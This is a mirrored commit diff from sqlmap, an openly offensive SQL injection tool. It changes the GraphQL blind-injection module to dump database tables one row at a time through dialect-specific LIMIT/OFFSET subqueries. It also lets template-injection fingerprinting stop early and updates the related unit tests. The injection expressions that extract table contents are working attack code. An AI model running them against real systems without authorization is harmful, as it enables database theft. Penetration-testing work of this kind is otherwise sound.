mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-12 03:23:27 +00:00
Minor patches
This commit is contained in:
parent
2fec735b13
commit
986933e709
5 changed files with 84 additions and 48 deletions
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.67"
|
||||
VERSION = "1.10.7.68"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
|
|||
|
|
@ -39,9 +39,14 @@ SENTINEL = randomStr(length=10, lowercase=True)
|
|||
# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...)
|
||||
MAX_LENGTH = 1024
|
||||
|
||||
# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction)
|
||||
# Ceiling for a single row's concatenated cells (one row is extracted per request, so
|
||||
# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently
|
||||
# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row).
|
||||
DUMP_MAX_LENGTH = 8192
|
||||
|
||||
# Maximum number of rows dumped per table (bounds a runaway blind dump)
|
||||
DUMP_MAX_ROWS = 1000
|
||||
|
||||
# Printable-ASCII codepoint bounds for blind character inference
|
||||
CHAR_MIN = 0x20
|
||||
CHAR_MAX = 0x7e
|
||||
|
|
@ -49,9 +54,8 @@ CHAR_MAX = 0x7e
|
|||
# Number of independent predicates packed into a single aliased GraphQL document (batched inference)
|
||||
BATCH_SIZE = 40
|
||||
|
||||
# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data)
|
||||
# Cell separator woven into a per-row dump scalar (printable, improbable in data)
|
||||
COL_SEP = "~~~"
|
||||
ROW_SEP = "^^^"
|
||||
|
||||
# GraphQL scalar types mapped to injection strategy (None = skip)
|
||||
SCALAR_STRATEGY = {
|
||||
|
|
@ -85,35 +89,35 @@ _inputFields = {}
|
|||
# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy
|
||||
# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition
|
||||
# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/
|
||||
# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the
|
||||
# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP).
|
||||
# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table
|
||||
# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP.
|
||||
Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay",
|
||||
"banner", "currentUser", "currentDb",
|
||||
"tables", "columns", "rows"))
|
||||
"tables", "columns", "row"))
|
||||
|
||||
|
||||
def _sqliteRows(columns, table):
|
||||
cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns]
|
||||
body = ("||'%s'||" % COL_SEP).join(cells)
|
||||
return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
|
||||
# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating
|
||||
# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently
|
||||
# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping
|
||||
# rows without warning; per-row extraction is unbounded and dialect-uniform.
|
||||
def _sqliteRow(columns, table, offset):
|
||||
body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns)
|
||||
return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset)
|
||||
|
||||
|
||||
def _mysqlRows(columns, table):
|
||||
cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns]
|
||||
body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells))
|
||||
return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table)
|
||||
def _mysqlRow(columns, table, offset):
|
||||
body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns))
|
||||
return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset)
|
||||
|
||||
|
||||
def _pgsqlRows(columns, table):
|
||||
cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns]
|
||||
body = ("||'%s'||" % COL_SEP).join(cells)
|
||||
return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
|
||||
def _pgsqlRow(columns, table, offset):
|
||||
body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns)
|
||||
return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset)
|
||||
|
||||
|
||||
def _mssqlRows(columns, table):
|
||||
cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns]
|
||||
body = ("+'%s'+" % COL_SEP).join(cells)
|
||||
return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
|
||||
def _mssqlRow(columns, table, offset):
|
||||
body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns)
|
||||
return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset)
|
||||
|
||||
|
||||
DIALECTS = OrderedDict((
|
||||
|
|
@ -127,7 +131,7 @@ DIALECTS = OrderedDict((
|
|||
currentDb=None,
|
||||
tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')",
|
||||
columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table,
|
||||
rows=_sqliteRows)),
|
||||
row=_sqliteRow)),
|
||||
("Microsoft SQL Server", Dialect(
|
||||
fingerprint="@@VERSION LIKE '%Microsoft%'",
|
||||
length=lambda expr: "LEN((%s))" % expr,
|
||||
|
|
@ -138,7 +142,7 @@ DIALECTS = OrderedDict((
|
|||
currentDb="DB_NAME()",
|
||||
tables="(SELECT STRING_AGG(name,',') FROM sys.tables)",
|
||||
columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table,
|
||||
rows=_mssqlRows)),
|
||||
row=_mssqlRow)),
|
||||
("PostgreSQL", Dialect(
|
||||
fingerprint="(SELECT version()) LIKE 'PostgreSQL%'",
|
||||
length=lambda expr: "LENGTH((%s))" % expr,
|
||||
|
|
@ -149,7 +153,7 @@ DIALECTS = OrderedDict((
|
|||
currentDb="CURRENT_DATABASE()",
|
||||
tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')",
|
||||
columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table,
|
||||
rows=_pgsqlRows)),
|
||||
row=_pgsqlRow)),
|
||||
("MySQL", Dialect(
|
||||
fingerprint="@@VERSION_COMMENT IS NOT NULL",
|
||||
length=lambda expr: "CHAR_LENGTH((%s))" % expr,
|
||||
|
|
@ -160,7 +164,7 @@ DIALECTS = OrderedDict((
|
|||
currentDb="DATABASE()",
|
||||
tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())",
|
||||
columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table,
|
||||
rows=_mysqlRows)),
|
||||
row=_mysqlRow)),
|
||||
))
|
||||
|
||||
|
||||
|
|
@ -904,18 +908,32 @@ def _inferrer(truth, truthBatch, dialect):
|
|||
|
||||
|
||||
def _dumpTable(infer, dialect, table):
|
||||
# Enumerate a table's columns, then recover every row as one concatenated scalar
|
||||
# and split it back into a (columns, rows) grid
|
||||
# Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal
|
||||
# position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by
|
||||
# the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row
|
||||
# extraction has no such cap.
|
||||
columnsRaw = infer(dialect.columns(table))
|
||||
columns = [_ for _ in (columnsRaw or "").split(",") if _]
|
||||
if not columns:
|
||||
return None
|
||||
|
||||
raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH)
|
||||
countRaw = infer("(SELECT COUNT(*) FROM %s)" % table)
|
||||
try:
|
||||
count = int((countRaw or "").strip())
|
||||
except ValueError:
|
||||
count = 0
|
||||
|
||||
rows = []
|
||||
for record in (raw or "").split(ROW_SEP) if raw else []:
|
||||
cells = record.split(COL_SEP)
|
||||
for offset in xrange(min(count, DUMP_MAX_ROWS)):
|
||||
raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH)
|
||||
if raw is None:
|
||||
continue
|
||||
cells = raw.split(COL_SEP)
|
||||
rows.append((cells + [""] * len(columns))[:len(columns)])
|
||||
|
||||
if count > DUMP_MAX_ROWS:
|
||||
logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS))
|
||||
|
||||
return columns, rows
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -482,6 +482,12 @@ def _familyUniquelyIdentifies(engine):
|
|||
return sum(e.family == engine.family for e in siblings) == 1
|
||||
|
||||
|
||||
# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these
|
||||
# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for
|
||||
# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine.
|
||||
_SHARED_DELIMITERS = frozenset(("{{", "${"))
|
||||
|
||||
|
||||
def _fingerprint(place, parameter):
|
||||
"""Identify the template engine and confirm injection. Returns (engine, evidence)
|
||||
where evidence is a dict of detection results, or (None, None).
|
||||
|
|
@ -532,6 +538,12 @@ def _fingerprint(place, parameter):
|
|||
bestEngine = engine
|
||||
bestEvidence = evidence
|
||||
|
||||
# A decisive arithmetic proof on an engine whose delimiter no other engine shares
|
||||
# is unambiguous: stop scanning the remaining engines (all phases of THIS engine
|
||||
# already ran, so its evidence is complete) instead of exhaustively testing all nine.
|
||||
if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS:
|
||||
break
|
||||
|
||||
if bestEngine and bestScore >= 3:
|
||||
# For engines with ambiguous delimiters (shared by multiple engines),
|
||||
# name a specific engine when: error fingerprint, distinguishing probe,
|
||||
|
|
|
|||
|
|
@ -439,10 +439,10 @@ class TestGraphqlDialects(unittest.TestCase):
|
|||
self.assertEqual(d.length("x"), "LENGTH((x))")
|
||||
self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))")
|
||||
|
||||
def test_sqlite_rows_handles_nulls(self):
|
||||
def test_sqlite_row_handles_nulls(self):
|
||||
d = gi.DIALECTS["SQLite"]
|
||||
sql = d.rows(["name", "surname"], "users")
|
||||
self.assertIn("GROUP_CONCAT", sql)
|
||||
sql = d.row(["name", "surname"], "users", 3)
|
||||
self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT
|
||||
self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql)
|
||||
self.assertIn("FROM users", sql)
|
||||
|
||||
|
|
@ -529,7 +529,7 @@ def _mockOracle(target):
|
|||
tables=None, columns=None,
|
||||
length=lambda expr: "LEN(%s)" % expr,
|
||||
ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos),
|
||||
rows=None)
|
||||
row=None)
|
||||
|
||||
def _value(cond):
|
||||
pos = None
|
||||
|
|
@ -581,20 +581,21 @@ class TestGraphqlInference(unittest.TestCase):
|
|||
|
||||
|
||||
class TestGraphqlDumpTable(unittest.TestCase):
|
||||
"""Whole-table dump: column list + row scalar split back into a grid"""
|
||||
"""Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset"""
|
||||
|
||||
def test_dump_table(self):
|
||||
d = gi.DIALECTS["SQLite"]
|
||||
responses = {
|
||||
"(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name",
|
||||
d.columns("users"): "id,name",
|
||||
"(SELECT COUNT(*) FROM users)": "2",
|
||||
d.row(["id", "name"], "users", 0): "1~~~null",
|
||||
d.row(["id", "name"], "users", 1): "2~~~luther",
|
||||
}
|
||||
rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns
|
||||
|
||||
def infer(expr, maxLen=gi.MAX_LENGTH):
|
||||
if expr in responses:
|
||||
return responses[expr]
|
||||
return rowScalar # the GROUP_CONCAT row dump
|
||||
return responses.get(expr)
|
||||
|
||||
columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users")
|
||||
columns, rows = gi._dumpTable(infer, d, "users")
|
||||
self.assertEqual(columns, ["id", "name"])
|
||||
self.assertEqual(rows, [["1", "null"], ["2", "luther"]])
|
||||
|
||||
|
|
|
|||
|
|
@ -1227,13 +1227,18 @@ class TestGraphqlDumpTable(unittest.TestCase):
|
|||
DIALECT = gql.DIALECTS["MySQL"]
|
||||
|
||||
def test_dump_table_grid(self):
|
||||
# infer() returns the column list for dialect.columns(table), then the concatenated
|
||||
# rows scalar for dialect.rows(...). We map by which sub-expression is requested.
|
||||
columns_expr = self.DIALECT.columns("users")
|
||||
rows_value = gql.COL_SEP.join(("1", "alice")) + gql.ROW_SEP + gql.COL_SEP.join(("2", "bob"))
|
||||
# infer() returns the column list for dialect.columns(table), the COUNT(*), then
|
||||
# one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually
|
||||
# to avoid the back-end's GROUP_CONCAT truncation).
|
||||
responses = {
|
||||
self.DIALECT.columns("users"): "id,name",
|
||||
"(SELECT COUNT(*) FROM users)": "2",
|
||||
self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")),
|
||||
self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")),
|
||||
}
|
||||
|
||||
def infer(expr, maxLen=gql.MAX_LENGTH):
|
||||
return "id,name" if expr == columns_expr else rows_value
|
||||
return responses.get(expr)
|
||||
|
||||
columns, rows = gql._dumpTable(infer, self.DIALECT, "users")
|
||||
self.assertEqual(columns, ["id", "name"])
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue